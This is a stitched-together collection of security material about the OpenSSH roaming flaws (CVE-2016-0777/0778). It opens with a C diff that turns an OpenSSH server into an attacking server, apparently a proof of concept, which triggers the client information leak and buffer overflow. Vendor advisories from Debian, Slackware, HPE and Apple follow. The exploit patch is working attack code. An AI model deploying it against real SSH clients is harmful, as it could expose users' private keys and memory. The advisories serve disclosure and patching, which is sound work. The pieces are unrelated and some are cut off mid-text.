+#include +#include +#include +#include +#include +#include + +#include "atomicio.h" +#include "log.h" +#include "xmalloc.h" + +static inline char * +get_roaming_dir(const u_int id) +{ + const size_t buflen = MAXPATHLEN; + char const buf = xmalloc(buflen); + + if ((u_int)snprintf(buf, buflen, "/tmp/roaming-%08x", id) >= buflen) + fatal("%s: snprintf %u error", func, id); + return buf; +} + +static inline void +dump_roaming_file(const char const name, + const void const buf, const size_t buflen) +{ + if (name == NULL) + fatal("%s: name %p", func, name); + if (strchr(name, '/') != NULL) + fatal("%s: name %s", func, name); + if (buf == NULL) + fatal("%s: %s buf %p", func, name, buf); + if (buflen <= 0 || buflen > MAX_ROAMBUF) + fatal("%s: %s buflen %lu", func, name, (u_long)buflen); + + const int fd = open(name, O_WRONLY | O_CREAT | O_EXCL, S_IRUSR); + if (fd <= -1) + fatal("%s: open %s errno %d", func, name, errno); + if (write(fd, buf, buflen) != (ssize_t)buflen) + fatal("%s: write %s errno %d", func, name, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", func, name, errno); +} + +static inline void * +load_roaming_file(const char const name, + void buf, size_t const buflenp) +{ + if (name == NULL) + fatal("%s: name %p", func, name); + if (strchr(name, '/') != NULL) + fatal("%s: name %s", func, name); + if (buflenp == NULL) + fatal("%s: %s buflenp %p", func, name, buflenp); + + const int fd = open(name, O_RDONLY | O_NOFOLLOW | O_NONBLOCK); + if (fd <= -1) + fatal("%s: open %s errno %d", func, name, errno); + struct stat st; + if (fstat(fd, &st) != 0) + fatal("%s: fstat %s errno %d", func, name, errno); + if (S_ISREG(st.st_mode) == 0) + fatal("%s: %s mode 0%o", func, name, (u_int)st.st_mode); + if (st.st_size <= 0 || st.st_size > MAX_ROAMBUF) + fatal("%s: %s size %lld", func, name, + (long long)st.st_size); + + if (buf == NULL) { + buflenp = st.st_size; + buf = xmalloc(buflenp); + } else { + if (buflenp != (size_t)st.st_size) + fatal("%s: %s size %lld buflen %lu", func, name, + (long long)st.st_size, (u_long)buflenp); + } + if (read(fd, buf, buflenp) != (ssize_t)buflenp) + fatal("%s: read %s errno %d", func, name, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", func, name, errno); + return buf; +} + #endif / ROAMING / diff -pruN openssh-6.4p1/serverloop.c openssh-6.4p1+roaming/serverloop.c --- openssh-6.4p1/serverloop.c 2013-07-17 23:12:45.000000000 -0700 +++ openssh-6.4p1+roaming/serverloop.c 2016-01-07 01:04:15.000000000 -0800 @@ -1060,6 +1060,9 @@ server_request_session(void) return c; }
+static int client_session_channel = -1; +static int server_session_channel = -1; + static void server_input_channel_open(int type, u_int32_t seq, void ctxt) { @@ -1089,12 +1092,22 @@ server_input_channel_open(int type, u_in c->remote_window = rwindow; c->remote_maxpacket = rmaxpack; if (c->type != SSH_CHANNEL_CONNECTING) { + debug("%s: avoid client-side buf_append", func); + / packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); packet_put_int(c->remote_id); packet_put_int(c->self); packet_put_int(c->local_window); packet_put_int(c->local_maxpacket); packet_send(); + */ + if (strcmp(ctype, "session") == 0) { + if (client_session_channel != -1) + fatal("%s: client_session_channel %d", + func, client_session_channel); + client_session_channel = c->remote_id; + server_session_channel = c->self; + } } } else { debug("server_input_channel_open: failure %s", ctype); @@ -1111,6 +1124,196 @@ server_input_channel_open(int type, u_in }
static void +roaming_disconnect(Kex const kex) +{ + const char cp, roaming = getenv("ROAMING"); + if (roaming == NULL) + roaming = "infoleak"; + int overflow = 0; + if ((cp = strstr(roaming, "overflow:")) != NULL) + overflow = cp[9]; + + const u_int client_recv_buf_size = packet_get_int(); + packet_check_eom(); + const u_int server_recv_buf_size = get_recv_buf_size(); + const u_int server_send_buf_size = get_snd_buf_size(); + debug("%s: client_recv_buf_size %u", func, client_recv_buf_size); + debug("%s: server_recv_buf_size %u", func, server_recv_buf_size); + debug("%s: server_send_buf_size %u", func, server_send_buf_size); + + u_int client_send_buf_size = 0; + if ((cp = strstr(roaming, "client_send_buf_size:")) != NULL) + client_send_buf_size = strtoul(cp + 21, NULL, 0); + else if (client_recv_buf_size == DEFAULT_ROAMBUF) + client_send_buf_size = DEFAULT_ROAMBUF; + else { + const u_int + max = MAX(client_recv_buf_size, server_recv_buf_size), + min = MIN(client_recv_buf_size, server_recv_buf_size); + if (min <= 0) + fatal("%s: min %u", func, min); + if (((u_int64_t)(max - min) * 1024) / min < 1) + client_send_buf_size = server_send_buf_size; + else + client_send_buf_size = client_recv_buf_size; + } + debug("%s: client_send_buf_size %u", func, client_send_buf_size); + if (client_send_buf_size <= 0) + fatal("%s: client_send_buf_size", func); + + u_int id = 0; + char dir = NULL; + for (;;) { + id = arc4random(); + debug("%s: id %u", func, id); + free(dir); + dir = get_roaming_dir(id); + if (mkdir(dir, S_IRWXU) == 0) + break; + if (errno != EEXIST) + fatal("%s: mkdir %s errno %d", func, dir, errno); + } + debug("%s: dir %s", func, dir); + if (chdir(dir) != 0) + fatal("%s: chdir %s errno %d", func, dir, errno); + + u_int client_out_buf_size = 0; + if ((cp = strstr(roaming, "client_out_buf_size:")) != NULL) + client_out_buf_size = strtoul(cp + 20, NULL, 0); + else if (overflow != 0) + client_out_buf_size = MAX_ROAMBUF; + else + client_out_buf_size = 1 + arc4random() % 4096; + debug("%s: client_out_buf_size %u", func, client_out_buf_size); + if (client_out_buf_size <= 0) + fatal("%s: client_out_buf_size", func); + dump_roaming_file("client_out_buf_size", &client_out_buf_size, + sizeof(client_out_buf_size)); + + if ((cp = strstr(roaming, "scp_mode")) != NULL) { + if (overflow != 0) + fatal("%s: scp_mode is incompatible with overflow %d", + func, overflow); + + u_int seconds_left_to_sleep = 3; + if ((cp = strstr(cp, "sleep:")) != NULL) + seconds_left_to_sleep = strtoul(cp + 6, NULL, 0); + debug("%s: sleep %u", func, seconds_left_to_sleep); + + if (client_session_channel == -1) + fatal("%s: client_session_channel %d", + func, client_session_channel); + + packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(client_session_channel); + packet_put_int(server_session_channel); + packet_put_int(0); / server window / + packet_put_int(0); / server maxpacket / + packet_send(); + + packet_start(SSH2_MSG_CHANNEL_DATA); + packet_put_int(client_session_channel); + packet_put_string("\0\n", 2); / response&source|sink&run_err / + packet_send(); + + packet_read_expect(SSH2_MSG_CHANNEL_REQUEST); + packet_get_int(); / server channel / + debug("%s: channel request %s", func, + packet_get_cstring(NULL)); + + while (seconds_left_to_sleep) + seconds_left_to_sleep = sleep(seconds_left_to_sleep); + } + + packet_start(SSH2_MSG_REQUEST_SUCCESS); + packet_put_int(id); / roaming_id / + packet_put_int64(arc4random()); / cookie / + packet_put_int64(0); / key1 / + packet_put_int64(0); / key2 / + packet_put_int(client_out_buf_size - client_send_buf_size); + packet_send(); + packet_write_wait(); + + if (overflow != 0) { + const u_int64_t full_client_out_buf = get_recv_bytes() + + client_out_buf_size; + + u_int fd_leaks = 4 * 8 * 8; / MIN_CHUNK_SIZE in bits / + if ((cp = strstr(roaming, "fd_leaks:")) != NULL) + fd_leaks = strtoul(cp + 9, NULL, 0); + debug("%s: fd_leaks %u", func, fd_leaks); + + while (fd_leaks--) { + packet_start(SSH2_MSG_CHANNEL_OPEN); + packet_put_cstring(overflow == 'X' ? "x11" : + "auth-agent@openssh.com"); / ctype / + packet_put_int(arc4random()); / server channel / + packet_put_int(arc4random()); / server window / + packet_put_int(arc4random()); / server maxpacket / + if (overflow == 'X') { + packet_put_cstring(""); / originator / + packet_put_int(arc4random()); / port / + } + packet_send(); + + packet_read_expect(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_get_int(); / server channel / + packet_get_int(); / client channel / + packet_get_int(); / client window / + packet_get_int(); / client maxpacket / + packet_check_eom(); + } + + while (get_recv_bytes() <= full_client_out_buf) { + packet_start(SSH2_MSG_GLOBAL_REQUEST); + packet_put_cstring(""); / rtype / + packet_put_char(1); / want_reply / + packet_send(); + + packet_read_expect(SSH2_MSG_REQUEST_FAILURE); + packet_check_eom(); + } + + if (kex == NULL) + fatal("%s: no kex, cannot rekey", func); + if (kex->flags & KEX_INIT_SENT) + fatal("%s: KEX_INIT_SENT already", func); + char const ptr = buffer_ptr(&kex->my); + const u_int len = buffer_len(&kex->my); + if (len <= 1+4) / first_kex_follows + reserved / + fatal("%s: kex len %u", func, len); + ptr[len - (1+4)] = 1; / first_kex_follows / + kex_send_kexinit(kex); + + u_int i; + packet_read_expect(SSH2_MSG_KEXINIT); + for (i = 0; i < KEX_COOKIE_LEN; i++) + packet_get_char(); + for (i = 0; i < PROPOSAL_MAX; i++) + free(packet_get_string(NULL)); + packet_get_char(); / first_kex_follows / + packet_get_int(); / reserved / + packet_check_eom(); + + char buf[81922]; / two packet_read_seqnr bufferfuls / + memset(buf, '\0', sizeof(buf)); + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_FAIL); + packet_put_string(buf, sizeof(buf)); + packet_send(); + const Buffer const output = packet_get_output(); + dump_roaming_file("output", buffer_ptr(output), + buffer_len(output)); + } + + const u_int64_t client_write_bytes = get_recv_bytes(); + debug("%s: client_write_bytes %llu", func, + (unsigned long long)client_write_bytes); + dump_roaming_file("client_write_bytes", &client_write_bytes, + sizeof(client_write_bytes)); + fatal("%s: all done for %s", func, dir); +} + +static void server_input_global_request(int type, u_int32_t seq, void ctxt) { char rtype; @@ -1168,6 +1371,13 @@ server_input_global_request(int type, u_ } else if (strcmp(rtype, "no-more-sessions@openssh.com") == 0) { no_more_sessions = 1; success = 1; + } else if (strcmp(rtype, ROAMING_REQUEST) == 0) { + if (want_reply != 1) + fatal("%s: rtype %s want_reply %d", func, + rtype, want_reply); + roaming_disconnect(ctxt); + / NOTREACHED */ + fatal("%s: returned from %s", func, ROAMING_REQUEST); } if (want_reply) { packet_start(success ? diff -pruN openssh-6.4p1/sshd.c openssh-6.4p1+roaming/sshd.c --- openssh-6.4p1/sshd.c 2013-07-19 20:21:53.000000000 -0700 +++ openssh-6.4p1+roaming/sshd.c 2016-01-07 01:04:15.000000000 -0800 @@ -2432,6 +2432,8 @@ do_ssh2_kex(void) } if (options.kex_algorithms != NULL) myproposal[PROPOSAL_KEX_ALGS] = options.kex_algorithms; + else + myproposal[PROPOSAL_KEX_ALGS] = KEX_DEFAULT_KEX "," KEX_RESUME;
if (options.rekey_limit || options.rekey_interval)
packet_set_rekey_limits((u_int32_t)options.rekey_limit,
.
More details about identifying an attack and mitigations will be available in the Qualys Security Advisory.
For the oldstable distribution (wheezy), these problems have been fixed in version 1:6.0p1-4+deb7u3.
For the stable distribution (jessie), these problems have been fixed in version 1:6.7p1-5+deb8u1.
For the testing distribution (stretch) and unstable distribution (sid), these problems will be fixed in a later version.
Here are the details from the Slackware 14.1 ChangeLog: +--------------------------+ patches/packages/openssh-7.1p2-i486-1_slack14.1.txz: Upgraded. This update fixes an information leak and a buffer overflow. As of version 7.0, OpenSSH has deprecated some older (and presumably less secure) algorithms, and also (by default) only allows root login by public-key, hostbased and GSSAPI authentication. Make sure that your keys and authentication method will allow you to continue accessing your system after the upgrade. The release notes for OpenSSH 7.0 list the following incompatible changes to be aware of: * Support for the legacy SSH version 1 protocol is disabled by default at compile time. * Support for the 1024-bit diffie-hellman-group1-sha1 key exchange is disabled by default at run-time. It may be re-enabled using the instructions at http://www.openssh.com/legacy.html * Support for ssh-dss, ssh-dss-cert- host and user keys is disabled by default at run-time. These may be re-enabled using the instructions at http://www.openssh.com/legacy.html * Support for the legacy v00 cert format has been removed. * The default for the sshd_config(5) PermitRootLogin option has changed from "yes" to "prohibit-password". * PermitRootLogin=without-password/prohibit-password now bans all interactive authentication methods, allowing only public-key, hostbased and GSSAPI authentication (previously it permitted keyboard-interactive and password-less authentication if those were enabled). ( Security fix *) +--------------------------+
Where to find the new packages: +-----------------------------+
Thanks to the friendly folks at the OSU Open Source Lab (http://osuosl.org) for donating FTP and rsync hosting to the Slackware project! :-)
Also see the "Get Slack" section on http://slackware.com for additional mirror sites near you.
Updated package for Slackware 13.0: ftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/openssh-7.1p2-i486-1_slack13.0.txz
Updated package for Slackware x86_64 13.0: ftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/openssh-7.1p2-x86_64-1_slack13.0.txz
Updated package for Slackware 13.1: ftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/openssh-7.1p2-i486-1_slack13.1.txz
Updated package for Slackware x86_64 13.1: ftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/openssh-7.1p2-x86_64-1_slack13.1.txz
Updated package for Slackware 13.37: ftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/openssh-7.1p2-i486-1_slack13.37.txz
Updated package for Slackware x86_64 13.37: ftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/openssh-7.1p2-x86_64-1_slack13.37.txz
Updated package for Slackware 14.0: ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/openssh-7.1p2-i486-1_slack14.0.txz
Updated package for Slackware x86_64 14.0: ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/openssh-7.1p2-x86_64-1_slack14.0.txz
Updated package for Slackware 14.1: ftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/openssh-7.1p2-i486-1_slack14.1.txz
Updated package for Slackware x86_64 14.1: ftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/openssh-7.1p2-x86_64-1_slack14.1.txz
Updated package for Slackware -current: ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/n/openssh-7.1p2-i586-1.txz
Updated package for Slackware x86_64 -current: ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/n/openssh-7.1p2-x86_64-1.txz
MD5 signatures: +-------------+
Slackware 13.0 package: 856dd9c1b10641c282f30a34b7b63bea openssh-7.1p2-i486-1_slack13.0.txz
Slackware x86_64 13.0 package: 80903b0829f0284d007e7a316f2ff2da openssh-7.1p2-x86_64-1_slack13.0.txz
Slackware 13.1 package: 2095d1a304a94bab44993fdb7e0781c8 openssh-7.1p2-i486-1_slack13.1.txz
Slackware x86_64 13.1 package: 5bf653d7f5b4a9426ff2c5888af99f00 openssh-7.1p2-x86_64-1_slack13.1.txz
Slackware 13.37 package: 53e09b4371c045b9de1c86e0826324f9 openssh-7.1p2-i486-1_slack13.37.txz
Slackware x86_64 13.37 package: cd0319ff3c574c50612d5ba2b38f2fdc openssh-7.1p2-x86_64-1_slack13.37.txz
Slackware 14.0 package: 98cdc1d6ffea2a06d0c8013078681bff openssh-7.1p2-i486-1_slack14.0.txz
Slackware x86_64 14.0 package: 2093f3e91a79e07f072c702a1704be73 openssh-7.1p2-x86_64-1_slack14.0.txz
Slackware 14.1 package: d051d9f31cd380436ad01fa1641be1c7 openssh-7.1p2-i486-1_slack14.1.txz
Slackware x86_64 14.1 package: f1f81757431c3c836f06ce5d22e2d5de openssh-7.1p2-x86_64-1_slack14.1.txz
Slackware -current package: 70db20c5e4152bc9967b1e24cf91ed98 n/openssh-7.1p2-i586-1.txz
Slackware x86_64 -current package: e13dc3da27f817bee693fbb907015817 n/openssh-7.1p2-x86_64-1.txz
Installation instructions: +------------------------+
Upgrade the package as root:
upgradepkg openssh-7.1p2-i486-1_slack14.1.txz
Next, restart the sshd daemon:
sh /etc/rc.d/rc.sshd restart
Then before logging out, make sure that you still have remote access! See the information about incompatible changes in OpenSSH 7.x above.
+-----+
Slackware Linux Security Team http://slackware.com/gpg-key security@slackware.com
+------------------------------------------------------------------------+ | To leave the slackware-security mailing list: | +------------------------------------------------------------------------+ | Send an email to majordomo@slackware.com with this text in the body of | | the email message: | | | | unsubscribe slackware-security | | | | You will get a confirmation message back containing instructions to | | complete the process. Please do not reply to this email address. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1
Note: the current version of the following document is available here: https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c05247375
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c05247375 Version: 1
HPSBGN03638 rev.1 - HPE Remote Device Access: Virtual Customer Access System (vCAS) using lighttpd and OpenSSH, Unauthorized Modification of Information, Remote Denial of Service (DoS), Remote Disclosure of Information
NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.
Release Date: 2016-08-29 Last Updated: 2016-08-29
Potential Security Impact: Remote Denial of Service (DoS), Disclosure of Information, Unauthorized Modification Of Information
Source: Hewlett Packard Enterprise, Product Security Response Team
VULNERABILITY SUMMARY Potential vulnerabilities have been identified in the lighttpd and OpenSSH version used in HPE Remote Device Access: Virtual Customer Access System (vCAS). These vulnerabilities could be exploited remotely resulting in unauthorized modification of information, denial of service (DoS), and disclosure of information.
References:
CVE-2015-3200 CVE-2016-0777 CVE-2016-0778 PSRT110211
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. HPE Remote Device Access: Virtual Customer Access System (vCAS) - v15.07 (RDA 8.1) and earlier.
BACKGROUND
CVSS Base Metrics ================= Reference, CVSS V3 Score/Vector, CVSS V2 Score/Vector
CVE-2015-3200
5.3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
5.0 (AV:N/AC:L/Au:N/C:N/I:P/A:N)
CVE-2016-0777
6.5 CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
4.0 (AV:N/AC:L/Au:S/C:P/I:N/A:N)
CVE-2016-0778
9.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Information on CVSS is documented in
HPE Customer Notice HPSN-2008-002 here:
https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c01345499
RESOLUTION
HPE has made the following updates available to resolve the vulnerabilities in Remote Device Access: Virtual Customer Access System (vCAS)
vCAS 16.05 (RDA 8.7) kits - hp-rdacas-16.05-10482-vbox.ova and hp-rdacas-16.05-10482.ova.
The Oracle VirtualBox kit is available at: https://h20529.www2.hpe.com/apt/hp-rdacas-16.05-10482-vbox.ova
The VMware ESX(i) and VMware Player kit is available at: https://h20529.www2.hpe.com/apt/hp-rdacas-16.05-10482.ova
HISTORY Version:1 (rev.1) - 29 August 2016 Initial release
Third Party Security Patches: Third party security patches that are to be installed on systems running Hewlett Packard Enterprise (HPE) software products should be applied in accordance with the customer's patch management policy.
Support: For issues about implementing the recommendations of this Security Bulletin, contact normal HPE Services support channel.
Report: To report a potential security vulnerability for any HPE supported product: Web form: https://www.hpe.com/info/report-security-vulnerability Email: security-alert@hpe.com
Subscribe: To initiate a subscription to receive future HPE Security Bulletin alerts via Email: http://www.hpe.com/support/Subscriber_Choice
Security Bulletin Archive: A list of recently released Security Bulletins is available here: http://www.hpe.com/support/Security_Bulletin_Archive
Software Product Category: The Software Product Category is represented in the title by the two characters following HPSB.
3C = 3COM 3P = 3rd Party Software GN = HPE General Software HF = HPE Hardware and Firmware MU = Multi-Platform Software NS = NonStop Servers OV = OpenVMS PV = ProCurve ST = Storage Software UX = HP-UX
Copyright 2016 Hewlett Packard Enterprise
Hewlett Packard Enterprise shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett Packard Enterprise and the names of Hewlett Packard Enterprise products referenced herein are trademarks of Hewlett Packard Enterprise in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512
APPLE-SA-2016-03-21-5 OS X El Capitan 10.11.4 and Security Update 2016-002
OS X El Capitan 10.11.4 and Security Update 2016-002 is now available and addresses the following:
apache_mod_php Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted .png file may lead to arbitrary code execution Description: Multiple vulnerabilities existed in libpng versions prior to 1.6.20. These were addressed by updating libpng to version 1.6.20. CVE-ID CVE-2015-8126 : Adam Mariš CVE-2015-8472 : Adam Mariš
AppleRAID Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed through improved input validation. CVE-ID CVE-2016-1733 : Proteas of Qihoo 360 Nirvan Team
AppleRAID Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A local user may be able to determine kernel memory layout Description: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed through improved input validation. CVE-ID CVE-2016-1732 : Proteas of Qihoo 360 Nirvan Team
AppleUSBNetworking Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue existed in the parsing of data from USB devices. This issue was addressed through improved input validation. CVE-ID CVE-2016-1734 : Andrea Barisani and Andrej Rosano of Inverse Path
Bluetooth Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1735 : Jeonghoon Shin@A.D.D CVE-2016-1736 : beist and ABH of BoB
Carbon Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted .dfont file may lead to arbitrary code execution Description: Multiple memory corruption issues existed in the handling of font files. These issues were addressed through improved bounds checking. CVE-ID CVE-2016-1737 : an anonymous researcher
dyld Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An attacker may tamper with code-signed applications to execute arbitrary code in the application's context Description: A code signing verification issue existed in dyld. CVE-ID CVE-2016-1738 : beist and ABH of BoB
FontParser Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Opening a maliciously crafted PDF file may lead to an unexpected application termination or arbitrary code execution Description: A memory corruption issue was addressed through improved memory handling. CVE-ID CVE-2016-1740 : HappilyCoded (ant4g0nist and r3dsm0k3) working with Trend Micro's Zero Day Initiative (ZDI)
HTTPProtocol Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A remote attacker may be able to execute arbitrary code Description: Multiple vulnerabilities existed in nghttp2 versions prior to 1.6.0, the most serious of which may have led to remote code execution. These were addressed by updating nghttp2 to version 1.6.0. CVE-ID CVE-2015-8659
Intel Graphics Driver Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1743 : Piotr Bania of Cisco Talos CVE-2016-1744 : Ian Beer of Google Project Zero
IOFireWireFamily Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A local user may be able to cause a denial of service Description: A null pointer dereference was addressed through improved validation. CVE-ID CVE-2016-1745 : sweetchip of Grayhash
IOGraphics Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed through improved input validation. CVE-ID CVE-2016-1746 : Peter Pi of Trend Micro working with Trend Micro's Zero Day Initiative (ZDI) CVE-2016-1747 : Juwei Lin of Trend Micro working with Trend Micro's Zero Day Initiative (ZDI)
IOHIDFamily Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to determine kernel memory layout Description: A memory corruption issue was addressed through improved memory handling. CVE-ID CVE-2016-1748 : Brandon Azad
IOUSBFamily Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1749 : Ian Beer of Google Project Zero and Juwei Lin of Trend Micro working with Trend Micro's Zero Day Initiative (ZDI)
Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A use after free issue was addressed through improved memory management. CVE-ID CVE-2016-1750 : CESG
Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A race condition existed during the creation of new processes. This was addressed through improved state handling. CVE-ID CVE-2016-1757 : Ian Beer of Google Project Zero and Pedro Vilaca
Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A null pointer dereference was addressed through improved input validation. CVE-ID CVE-2016-1756 : Lufeng Li of Qihoo 360 Vulcan Team
Kernel Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1754 : Lufeng Li of Qihoo 360 Vulcan Team CVE-2016-1755 : Ian Beer of Google Project Zero CVE-2016-1759 : lokihardt
Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to determine kernel memory layout Description: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed through improved input validation. CVE-ID CVE-2016-1758 : Brandon Azad
Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple integer overflows were addressed through improved input validation. CVE-ID CVE-2016-1753 : Juwei Lin Trend Micro working with Trend Micro's Zero Day Initiative (ZDI)
Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to cause a denial of service Description: A denial of service issue was addressed through improved validation. CVE-ID CVE-2016-1752 : CESG
libxml2 Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: Processing maliciously crafted XML may lead to unexpected application termination or arbitrary code execution Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2015-1819 CVE-2015-5312 : David Drysdale of Google CVE-2015-7499 CVE-2015-7500 : Kostya Serebryany of Google CVE-2015-7942 : Kostya Serebryany of Google CVE-2015-8035 : gustavo.grieco CVE-2015-8242 : Hugh Davenport CVE-2016-1761 : wol0xff working with Trend Micro's Zero Day Initiative (ZDI) CVE-2016-1762
Messages Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An attacker who is able to bypass Apple's certificate pinning, intercept TLS connections, inject messages, and record encrypted attachment-type messages may be able to read attachments Description: A cryptographic issue was addressed by rejecting duplicate messages on the client. CVE-ID CVE-2016-1788 : Christina Garman, Matthew Green, Gabriel Kaptchuk, Ian Miers, and Michael Rushanan of Johns Hopkins University
Messages Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Clicking a JavaScript link can reveal sensitive user information Description: An issue existed in the processing of JavaScript links. This issue was addressed through improved content security policy checks. CVE-ID CVE-2016-1764 : Matthew Bryan of the Uber Security Team (formerly of Bishop Fox), Joe DeMesy and Shubham Shah of Bishop Fox
NVIDIA Graphics Drivers Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1741 : Ian Beer of Google Project Zero
OpenSSH Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: Connecting to a server may leak sensitive user information, such as a client's private keys Description: Roaming, which was on by default in the OpenSSH client, exposed an information leak and a buffer overflow. These issues were addressed by disabling roaming in the client. CVE-ID CVE-2016-0777 : Qualys CVE-2016-0778 : Qualys
OpenSSH Available for: OS X Mavericks v10.9.5 and OS X Yosemite v10.10.5 Impact: Multiple vulnerabilities in LibreSSL Description: Multiple vulnerabilities existed in LibreSSL versions prior to 2.1.8. These were addressed by updating LibreSSL to version 2.1.8. CVE-ID CVE-2015-5333 : Qualys CVE-2015-5334 : Qualys
OpenSSL Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A remote attacker may be able to cause a denial of service Description: A memory leak existed in OpenSSL versions prior to 0.9.8zh. This issue was addressed by updating OpenSSL to version 0.9.8zh. CVE-ID CVE-2015-3195
Python Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted .png file may lead to arbitrary code execution Description: Multiple vulnerabilities existed in libpng versions prior to 1.6.20. These were addressed by updating libpng to version 1.6.20. CVE-ID CVE-2014-9495 CVE-2015-0973 CVE-2015-8126 : Adam Mariš CVE-2015-8472 : Adam Mariš
QuickTime Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted FlashPix Bitmap Image may lead to unexpected application termination or arbitrary code execution Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1767 : Francis Provencher from COSIG CVE-2016-1768 : Francis Provencher from COSIG
QuickTime Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted Photoshop document may lead to unexpected application termination or arbitrary code execution Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1769 : Francis Provencher from COSIG
Reminders Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Clicking a tel link can make a call without prompting the user Description: A user was not prompted before invoking a call. This was addressed through improved entitlement checks. CVE-ID CVE-2016-1770 : Guillaume Ross of Rapid7 and Laurent Chouinard of Laurent.ca
Ruby Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A local attacker may be able to cause unexpected application termination or arbitrary code execution Description: An unsafe tainted string usage vulnerability existed in versions prior to 2.0.0-p648. CVE-ID CVE-2015-7551
Security Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A local user may be able to check for the existence of arbitrary files Description: A permissions issue existed in code signing tools. This was addressed though additional ownership checks. CVE-ID CVE-2016-1773 : Mark Mentovai of Google Inc.
